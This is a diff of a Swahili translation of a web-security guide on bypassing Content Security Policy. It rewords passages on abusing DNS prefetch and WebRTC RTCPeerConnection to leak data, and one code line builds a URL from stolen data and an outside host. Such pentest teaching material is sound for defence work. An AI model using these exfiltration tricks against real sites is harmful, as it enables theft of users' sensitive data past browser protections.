Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
@ -649,8 +649,8 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud
```
### DNS Prefetch
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="something.com">`
Ili kupakia kurasa kwa haraka, vivinjari vinakwenda kuanzisha majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kuanzisha jina la mwenyeji kwa: `<link rel="dns-prefetch" href="something.com">`
Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**:
```javascript
@ -688,7 +688,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Chaguo lingine:
Nyingine chaguo:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -722,7 +722,7 @@ iconURL:"https:"+your_data+"example.com"
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Marejeo
## Marejeleo
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)